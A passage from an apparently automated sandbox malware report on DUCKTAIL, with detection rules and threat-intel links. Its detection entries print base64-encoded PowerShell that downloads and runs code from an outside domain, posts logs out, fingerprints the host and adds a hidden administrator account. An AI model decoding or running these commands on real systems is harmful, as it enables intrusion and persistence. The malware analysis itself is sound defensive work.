JABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAAtAGoAbwBpAG4AIAAiAGAAcgBgAG4AIgAKACQAYwBwAHUASQBuAGYAbwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBDAGwAYQBzAHMAIABXAGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzAG8AcgAKACQAYwBwAHUARABlAHQAYQBpAGwAcwAgAD0AIAAiAFAAcgBvAGMAZQBzAHMAbwByAEkAZAA6ACAAJAAoACQAYwBwAHUASQBuAGYAbwAuAFAAcgBvAGMAZQBzAHMAbwByAEkAZAApACwAIABOAGEAbQBlADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATgBhAG0AZQApACwAIABNAGEAeABDAGwAbwBjAGsAUwBwAGUAZQBkADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATQBhAHgAQwBsAG8AYwBrAFMAcABlAGUAZAApACwAIABVAG4AaQBxAHUAZQBJAGQAOgAgACQAKAAkAGMAcAB1AEkAbgBmAG8ALgBVAG4AaQBxAHUAZQBJAGQAKQAiAAoAJABhAGwAbABJAG4AZgBvACAAPQAgACIAJABjAG8AbQBiAGkAbgBlAGQASQBuAGYAbwBgAHIAYABuACQAYwBwAHUARABlAHQAYQBpAGwAcwAiAAoAJABtAGQANQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAE0ARAA1AEMAcgB5AHAAdABvAFMAZQByAHYAaQBjAGUAUAByAG8AdgBpAGQAZQByAAoAJABiAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACQAYQBsAGwASQBuAGYAbwApAAoAJABoAGEAcwBoAEIAeQB0AGUAcwAgAD0AIAAkAG0AZAA1AC4AQwBvAG0AcAB1AHQAZQBIAGEAcwBoACgAJABiAHkAdABlAHMAKQAKACQAaABhAHMAaAAgAD0AIABbAEIAaQB0AEMAbwBuAHYAZQByAHQAZQByAF0AOgA6AFQAbwBTAHQAcgBpAG4AZwAoACQAaABhAHMAaABCAHkAdABlAHMAKQAgAC0AcgBlAHAAbABhAGMAZQAgACcALQAnAAoAIAAgACAAIAByAGUAdAB1AHIAbgAgACQAaABhAHMAaAA7AAoAfQAKAGMAZAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAIgA7AAoAJAB0AGUAcwB0ACAAPQAgAEcAZQB0AC0ASQBkAGUAbgB0AGkAdAB5ADsACgAkAHQAZQBzAHQAIAB8ACAATwB1AHQALQBGAGkAbABlACAALQBGAGkAbABlAFAAYQB0AGgAIAAiAGQAZQB2AGkAYwBlAEkAZAAuAHQAeAB0ACIAIAAtAEUAbgBjAG8AZABpAG4AZwAgAFUAVABGADgA MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 6580 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5488 cmdline: "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand JABVAHMAZQByAG4AYQBtAGUAIAA9ACAAIgBVAHMAZQByADEAIgA7ACQAcAB3AGQAIAA9ACAAIgAxADIAMwA0ADUANgA3ADgAOQAhAEEAMQBhACIAOwAgACQAVQBzAGUAcgBQAGEAcgBhAG0AcwAgAD0AIABAAHsAJwBOAGEAbQBlACcAIAA9ACAAJABVAHMAZQByAG4AYQBtAGUAOwAgACcAUABhAHMAcwB3AG8AcgBkACcAIAA9ACAAKABDAG8AbgB2AGUAcgB0AFQAbwAtAFMAZQBjAHUAcgBlAFMAdAByAGkAbgBnACAALQBTAHQAcgBpAG4AZwAgACQAcAB3AGQAIAAtAEEAcwBQAGwAYQBpAG4AVABlAHgAdAAgAC0ARgBvAHIAYwBlACkAOwAgACcAUABhAHMAcwB3AG8AcgBkAE4AZQB2AGUAcgBFAHgAcABpAHIAZQBzACcAIAA9ACAAJAB0AHIAdQBlAH0AOwBOAGUAdwAtAEwAbwBjAGEAbABVAHMAZQByACAAQABVAHMAZQByAFAAYQByAGEAbQBzADsAJABHAHIAbwB1AHAAUABhAHIAYQBtAHMAIAA9ACAAQAB7ACcARwByAG8AdQBwACcAIAA9ACAAJwBBAGQAbQBpAG4AaQBzAHQAcgBhAHQAbwByAHMAJwA7ACAAJwBNAGUAbQBiAGUAcgAnACAAPQAgACQAVQBzAGUAcgBuAGEAbQBlAH0AOwBBAGQAZAAtAEwAbwBjAGEAbABHAHIAbwB1AHAATQBlAG0AYgBlAHIAIABAAEcAcgBvAHUAcABQAGEAcgBhAG0AcwA7AA0ACgA= MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 5412 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
DUCKTAIL	According to Tony Lambert, this is a malware written in .NET. It was observed to be delivered using the .NET Single File deployment feature.	No Attribution	https://forensicitguy.github.io/analyzing-net-core-single-file-ducktail/ https://harfanglab.io/en/insidethelab/reverse-engineering-ida-pro-aot-net/ https://labs.withsecure.com/assets/BlogFiles/Publications/WithSecure_Research_DUCKTAIL.pdf https://labs.withsecure.com/content/dam/labs/docs/WithSecure_Research_DUCKTAIL.pdf https://securelist.com/ducktail-fashion-week/111017/	https://malpedia.caad.fkie.fraunhofer.de/details/win.ducktail

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
Online Interview Scheduling Form.lnk	JoeSecurity_ObfuscatedPowershell	Yara detected Obfuscated Powershell	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: powershell.exe PID: 6204	JoeSecurity_Ducktail_12	Yara detected Ducktail	Joe Security
Process Memory Space: powershell.exe PID: 6204	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x2d6c94:$b1: ::WriteAllBytes( 0x3bffc:$b2: ::FromBase64String( 0x3f0a1:$b2: ::FromBase64String( 0x4148d:$b2: ::FromBase64String( 0x414ff:$b2: ::FromBase64String( 0x445a4:$b2: ::FromBase64String( 0x4c422:$b2: ::FromBase64String( 0x4f4c7:$b2: ::FromBase64String( 0x7fc52:$b2: ::FromBase64String( 0x80361:$b2: ::FromBase64String( 0x805cd:$b2: ::FromBase64String( 0x807d1:$b2: ::FromBase64String( 0x808f5:$b2: ::FromBase64String( 0x80965:$b2: ::FromBase64String( 0x809c4:$b2: ::FromBase64String( 0x80a30:$b2: ::FromBase64String( 0x80a8d:$b2: ::FromBase64String( 0x80b14:$b2: ::FromBase64String( 0x80b89:$b2: ::FromBase64String( 0x80bf8:$b2: ::FromBase64String( 0x80c59:$b2: ::FromBase64String(
Process Memory Space: powershell.exe PID: 3372	JoeSecurity_Ducktail_12	Yara detected Ducktail	Joe Security
Process Memory Space: powershell.exe PID: 3372	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x140cfe:$b1: ::WriteAllBytes( 0x12e96a:$b2: ::FromBase64String( 0x13156b:$b2: ::FromBase64String( 0x13185b:$b2: ::FromBase64String( 0x1318d0:$b2: ::FromBase64String( 0x137f3b:$b2: ::FromBase64String( 0x3d2221:$b3: ::UTF8.GetString( 0x1a23d0:$s1: -join 0x214690:$s1: -join 0x2161cd:$s1: -join 0x9e27d:$s3: Reverse 0xa6224:$s3: Reverse 0xa6243:$s3: Reverse 0xa9cf8:$s3: Reverse 0xa9d3d:$s3: Reverse 0xb2a9e:$s3: Reverse 0xb2ab7:$s3: Reverse 0xb663b:$s3: Reverse 0x178ac5:$s3: reverse 0x178db3:$s3: reverse 0x1794cd:$s3: reverse

Other

Source	Rule	Description	Author	Strings
amsi64_3372.amsi.csv	JoeSecurity_Ducktail_12	Yara detected Ducktail	Joe Security
amsi64_3372.amsi.csv	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0xc5cb:$b1: ::WriteAllBytes( 0x8a39:$b2: ::FromBase64String( 0xb63b:$b2: ::FromBase64String( 0xb92c:$b2: ::FromBase64String( 0x52b:$b3: ::UTF8.GetString( 0x868a:$s1: -join 0x23b:$s4: += 0x25e:$s4: += 0x1e36:$s4: += 0x1ef8:$s4: += 0x611f:$s4: += 0x823c:$s4: += 0x8526:$s4: += 0x866c:$s4: += 0xbae5:$s4: += 0xbce2:$s4: += 0xdf98:$s4: += 0x65a46:$s4: += 0x65ac6:$s4: += 0x65b8c:$s4: += 0x65c0c:$s4: +=

Sigma Signatures

System Summary

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoLogo -NoProfile -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAdAAuAEUATgBDAG8AZABJAE4ARwBdADoAOgBVAFQARgA4AC4ARwBFAHQAUwBUAFIASQBOAGcAKAAoAEkAdwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AG4AYgBYAFIAaABaADIAVgB1AFkAMwBrAHUAYgAyADUAcwBhAFcANQBsAEwAegBCAEUAYQAzAG8AMwBiAGcAPQA9ACIAKQApACkAKQAuAEMATwBOAHQAZQBOAHQAKQApAA== , CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoLogo -NoProfile -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAdAAuAEUATgBDAG8AZABJAE4ARwBdADoAOgBVAFQARgA4AC4ARwBFAHQAUwBUAFIASQBOAGcAKAAoAEkAdwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AG4AYgBYAFIAaABaADIAVgB1AFkAMwBrAHUAYgAyADUAcwBhAFcANQBsAEwAegBCAEUAYQAzAG8AMwBiAGcAPQA9ACIAKQApACkAKQAuAEMATwBOAHQAZQBOAHQAKQApAA== , CommandLine|base64offset|contains: hv)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: powerSHEll -nOlogo -NOP -ep ByPass -ENCODedcOMMAnd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBkAEEAQQB1AEEARQBVAEEAVABnAEIARABBAEcAOABBAFoAQQBCAEoAQQBFADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBGAEEASABRAEEAVQB3AEIAVQBBAEYASQBBAFMAUQBCAE8AQQBHAGMAQQBLAEEAQQBvAEEARQBrAEEAZAB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcANABBAFkAZwBCAFkAQQBGAEkAQQBhAEEAQgBhAEEARABJAEEAVgBnAEIAMQBBAEYAawBBAE0AdwBCAHIAQQBIAFUAQQBZAGcAQQB5AEEARABVAEEAYwB3AEIAaABBAEYAYwBBAE4AUQBCAHMAQQBFAHcAQQBlAGcAQgBDAEEA

Sigma detected: PowerShell Base64 Encoded IEX Cmdlet

Source: Process started

Sigma detected: PowerShell Base64 Encoded Invoke Keyword

Source: Process started

Author: pH-T (Nextron Systems), Harjot Singh, @cyb3rjy0t: Data: Command: powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBnAG0AdABhAGcAZQBuAGMAeQAuAG8AbgBsAGkAbgBlAC8AZgBpAGwAZQAyAC8AOAA0AGUAMAAwADkAYwA1AGUAMgA5ADgAOAAyADMAMgAzADUAOAAwAGIANwBjADcAMAAwAGQANgBkADcAZgBiAGYAMgAwADcAZABmADMANgA4AGQAZgAwADIAMwBhADYAMAA3ADcAMQAwAGMAYQA3AGYANABjADEANgA4ADUANgBjAGYAZgA5ADcAYgA3ADgANgA1ADQAYQA4ADgAMwA5ADkAOQAxADgAMgBhADAANQA0ADAANAA3ADgAOQAwAGMAOAA2ADMAYgBhADMAOABjAGQAMQA0ADIAZABjADEAMQBjAGMAZQA4AGYANwA2ADEAMAA2ADMANwA5AGEAZAAyAGUAMQA1ADYAMAAxAGYAMAA0AGIAZQA0AGYANgA0ADAAOAA0ADgAMwBjADUAMQA1AGEAZgBkAGQAZgA0ADAAZgAxAGEANgAwAGEAOAA3ADEAOAA1AGEAZgA5ADUAYwAzAGQANgBlADEANABiADEAYgA4ADUAZgAxAGQAMwA2AGUAZAA2ADkAYQBiAGIANwAzADUAYQA2ADcAMwA1ADEAZQAyADEAMgA4AGYAZgBiADcAMwBkADQANAA5AGMAMwBiACIAOwANAAoAJABjAG8AdQBuAHQAIAA9ACAAMQAwADAAOwANAAoADQAKAA0ACgANAAoAZgB1AG4AYwB0AGkAbwBuACAAUwBlAG4AZAAgAHsADQAKACAAIAAgACAAcABhAHIAYQBtACgAIABbAFAAUwBPAGIAagBlAGMAdABdACAAJABsAG8AZwBNAHMAZwAgACkADQAKAA0ACgAgACAAIAAgACMAIABDAG8AbgB2AGUAcgB0ACAAYgBvAGQAeQAgAHQAbwAgAHMAdAByAGkAbgBnAA0ACgAgACAAIAAgACQAcwB0AHIAaQBuAGcAQgBvAGQAeQAgAD0AIABbAHMAdAByAGkAbgBnAF0AKAAkAGwAbwBnAE0AcwBnACAAfAAgAEMAbwBuAHYAZQByAHQAVABvAC0ASgBzAG8AbgApADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAA9ACAAQAAoACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgACsAPQAgACQAcwB0AHIAaQBuAGcAQgBvAGQAeQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAIgAtAC0ALQAtAC0ALQAtAC0ALQAtACIAOwANAAoADQAKACAAIAAgACAAJABoAGUAYQBkAGUAcgBzACAAPQAgAEAAewB9ADsADQAKACAAIAAgACAAJABrAGUAeQAgAD0AIAAiAEMAbwBuAHQAZQBuAHQALQBUAHkAcABlACIAOwANAAoAIAAgACAAIAAkAHYAYQBsAHUAZQAgAD0AIAAiAGEAcABwAGwAaQBjAGEAdABpAG8AbgAvAGoAcwBvAG4AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAWwAkAGsAZQB5AF0AIAA9ACAAJAB2AGEAbAB1AGUAOwANAAoAIAAgACAAIAAkAHUAcgBpACAAPQAgACIATABPAEcAVQBSAEwAIgA7AA0ACgAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAG8AZAB5ACAAPQAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAfAAgAEMAbwBuAHYAZQByAHQAVABvAC0ASgBzAG8AbgA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJAB1AHIAaQAgAC0ATQBlAHQAaABvAGQAIABQAG8AcwB0ACAALQBIAGUAYQBkAGUAcgBzACAAJABoAGUAYQBkAGUAcgBzACAALQBCAG8AZAB5ACAAJABiAG8AZAB5AA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAGMAYQB0AGMAaAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKACAAIAAgACAADQAKAH0ADQAKAA0ACgB3AGgAaQBsAGUAKAAkAGMAbwB1AG4AdAAgAC0AZwB0ACAAMAApAA0ACgB7AA0ACgAJAA0ACgAJAHQAcgB5AHsADQAKACAAIAAgACAAIAAgACAAIABTAGUAbgBkACAAIgBiAGUAZwBpAG4AIABkAG8AdwBuAGwAbwBhAGQAIAAkAHUAcgBpACIAOwANAAoACQAJACQAYwBvAG4AdABlAG4AdAAgAD0AIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJAB1AHIAaQAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAOwANAAoAIAAgACAAIAAgACAAIAAgACQAYgB5AHQAZQBBAHIAcgBhAHkAIAA9ACAAJABjAG8AbgB0AGUAbgB0AC4AYwBvAG4AdABlAG4AdAA7AA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAIAAoACQAaQAgAD0AIAAwADsAIAAkAGkAIAAtAGwAdAAgACQAYgB5AHQAZQBBAHIAcgB

Sigma detected: PowerShell Base64 Encoded WMI Classes

Source: Process started

Author: Christian Burkard (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand ZgB1AG4AYwB0AGkAbwBuACAARwBlAHQALQBJAGQAZQBuAHQAaQB0AHkAewAKACAAIAAgACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACAAPQAgAEcAZQB0AC0AVwBtAGkATwBiAGoAZQBjAHQAIAAtAEMAbABhAHMAcwAgAFcAaQBuADMAMgBfAEQAaQBzAGsARAByAGkAdgBlACAAfAAgAFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACIAIAAtAG8AcgAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACAALQAgAFMAUwBEACIAIAB9AAoAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAA9ACAAQAAoACkACgBmAG8AcgBlAGEAYwBoACAAKAAkAGgAYQByAGQARAByAGkAdgBlACAAaQBuACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACkAIAB7AAoAIAAgACAAIAAkAHMAZQByAGkAYQBsAE4AdQBtAGIAZQByACAAPQAgACQAaABhAHIAZABEAHIAaQB2AGUALgBTAGUAcgBpAGEAbABOAHUAbQBiAGUAcgAKACAAIAAgACAAJABtAG8AZABlAGwAIAA9ACAAJABoAGEAcgBkAEQAcgBpAHYAZQAuAE0AbwBkAGUAbAAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwAgAD0AIAAiAFMAZQByAGkAYQBsACAATgB1AG0AYgBlAHIAOgAgACQAcwBlAHIAaQBhAGwATgB1AG0AYgBlAHIALAAgAE0AbwBkAGUAbAA6ACAAJABtAG8AZABlAGwAIgAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAArAD0AIAAkAGQAcgBpAHYAZQBJAG4AZgBvAAoAfQAKACQAYwBvAG0AYgBpAG4AZQBkAEkAbgBmAG8AIAA9ACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAAtAGoAbwBpAG4AIAAiAGAAcgBgAG4AIgAKACQAYwBwAHUASQBuAGYAbwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBDAGwAYQBzAHMAIABXAGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzAG8AcgAKACQAYwBwAHUARABlAHQAYQBpAGwAcwAgAD0AIAAiAFAAcgBvAGMAZQBzAHMAbwByAEkAZAA6ACAAJAAoACQAYwBwAHUASQBuAGYAbwAuAFAAcgBvAGMAZQBzAHMAbwByAEkAZAApACwAIABOAGEAbQBlADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATgBhAG0AZQApACwAIABNAGEAeABDAGwAbwBjAGsAUwBwAGUAZQBkADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATQBhAHgAQwBsAG8AYwBrAFMAcABlAGUAZAApACwAIABVAG4AaQBxAHUAZQBJAGQAOgAgACQAKAAkAGMAcAB1AEkAbgBmAG8ALgBVAG4AaQBxAHUAZQBJAGQAKQAiAAoAJABhAGwAbABJAG4AZgBvACAAPQAgACIAJABjAG8AbQBiAGkAbgBlAGQASQBuAGYAbwBgAHIAYABuACQAYwBwAHUARABlAHQAYQBpAGwAcwAiAAoAJABtAGQANQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAE0ARAA1AEMAcgB5AHAAdABvAFMAZQByAHYAaQBjAGUAUAByAG8AdgBpAGQAZQByAAoAJABiAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACQAYQBsAGwASQBuAGYAbwApAAoAJABoAGEAcwBoAEIAeQB0AGUAcwAgAD0AIAAkAG0AZAA1AC4AQwBvAG0AcAB1AHQAZQBIAGEAcwBoACgAJABiAHkAdABlAHMAKQAKACQAaABhAHMAaAAgAD0AIABbAEIAaQB0AEMAbwBuAHYAZQByAHQAZQByAF0AOgA6AFQAbwBTAHQAcgBpAG4AZwAoACQAaABhAHMAaABCAHkAdABlAHMAKQAgAC0AcgBlAHAAbABhAGMAZQAgACcALQAnAAoAIAAgACAAIAByAGUAdAB1AHIAbgAgACQAaABhAHMAaAA7AAoAfQAKAGMAZAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAIgA7AAoAJAB0AGUAcwB0ACAAPQAgAEcAZQB0AC0ASQBkAGUAbgB0AGkAdAB5ADsACgAkAHQAZQBzAHQAIAB8ACAATwB1AHQALQBGAGkAbABlACAALQBGAGkAbABlAFAAYQB0AGgAIAAiAGQAZQB2AGkAYwBlAEkAZAAuAHQAeAB0ACIAIAAtAEUAbgBjAG8AZABpAG4AZwAgAFUAVABGADgA, CommandLine: "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -Execution

Sigma detected: Suspicious Encoded PowerShell Command Line

Source: Process started

Author: Florian Roth (Nextron Systems), Markus Neis, Jonhnathan Ribeiro, Daniil Yugoslavskiy, Anton Kutepov, oscd.community: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoLogo -NoProfile -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAdAAuAEUATgBDAG8AZABJAE4ARwBdADoAOgBVAFQARgA4AC4ARwBFAHQAUwBUAFIASQBOAGcAKAAoAEkAdwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AG4AYgBYAFIAaABaADIAVgB1AFkAMwBrAHUAYgAyADUAcwBhAFcANQBsAEwAegBCAEUAYQAzAG8AMwBiAGcAPQA9ACIAKQApACkAKQAuAEMATwBOAHQAZQBOAHQAKQApAA== , CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoLogo -NoProfile -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAdAAuAEUATgBDAG8AZABJAE4ARwBdADoAOgBVAFQARgA4AC4ARwBFAHQAUwBUAFIASQBOAGcAKAAoAEkAdwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AG4AYgBYAFIAaABaADIAVgB1AFkAMwBrAHUAYgAyADUAcwBhAFcANQBsAEwAegBCAEUAYQAzAG8AMwBiAGcAPQA9ACIAKQApACkAKQAuAEMATwBOAHQAZQBOAHQAKQApAA== , CommandLine|base64offset|contains: hv)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: powerSHEll -nOlogo -NOP -ep ByPass -ENCODedcOMMAnd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBkAEEAQQB1AEEARQBVAEEAVABnAEIARABBAEcAOABBAFoAQQBCAEoAQQBFADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBGAEEASABRAEEAVQB3AEIAVQBBAEYASQBBAFMAUQBCAE8AQQBHAGMAQQBLAEEAQQBvAEEARQBrAEEAZAB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEc